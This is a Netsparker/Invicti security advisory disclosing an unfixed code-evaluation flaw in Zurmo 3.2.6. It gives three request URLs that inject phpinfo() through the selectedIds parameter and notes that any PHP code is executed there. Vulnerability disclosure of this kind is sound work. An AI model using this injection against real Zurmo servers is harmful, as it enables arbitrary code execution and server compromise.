Information
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Advisory by Netsparker (now Invicti)
Name: Code Evaluation Vulnerability in Zurmo
Affected Software: Zurmo
Affected Versions: 3.2.6
Homepage: http://zurmo.org
Vulnerability: Code Evaluation
Severity: Critical
Status: Not Fixed
Invicti Advisory Reference: NS-19-007

Technical Details
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URL: http://{DOMAIN}/zurmo/app/index.php/leads/default/?_=1557483150787&ajax=list-view&Contact_page=&Contact_sort=&selectedIds=phpinfo()
Parameter Name : selectedIds
Parameter Type: GET
Attack Pattern: phpinfo()

URL: http://{DOMAIN}/zurmo/app/index.php/opportunities/?_=1557483204319&ajax=list-view&Opportunity_page=&Opportunity_sort=&selectedIds=phpinfo()
Parameter Name : selectedIds
Parameter Type: GET
Attack Pattern: phpinfo()

URL: http://{DOMAIN}/zurmo/app/index.php/opportunities/default/?_=1557483206340&ajax=list-view&Opportunity_page=&Opportunity_sort=&selectedIds=phpinfo()
Parameter Name : selectedIds
Parameter Type: GET
Attack Pattern: phpinfo()

Proof-of-Concept
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Navigate to any of the URLs above and you'll see the phpinfo appear on the page. Changing the selectedIds parameter to any php code will reflect the expected output from the code on the page.

Advisory Timeline
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17th May 2019 - First Attempted Contact
24th July 2019 - Advisory Released

Credits & Authors
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These issues have been discovered by Umran Yildirimkaya while testing the Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.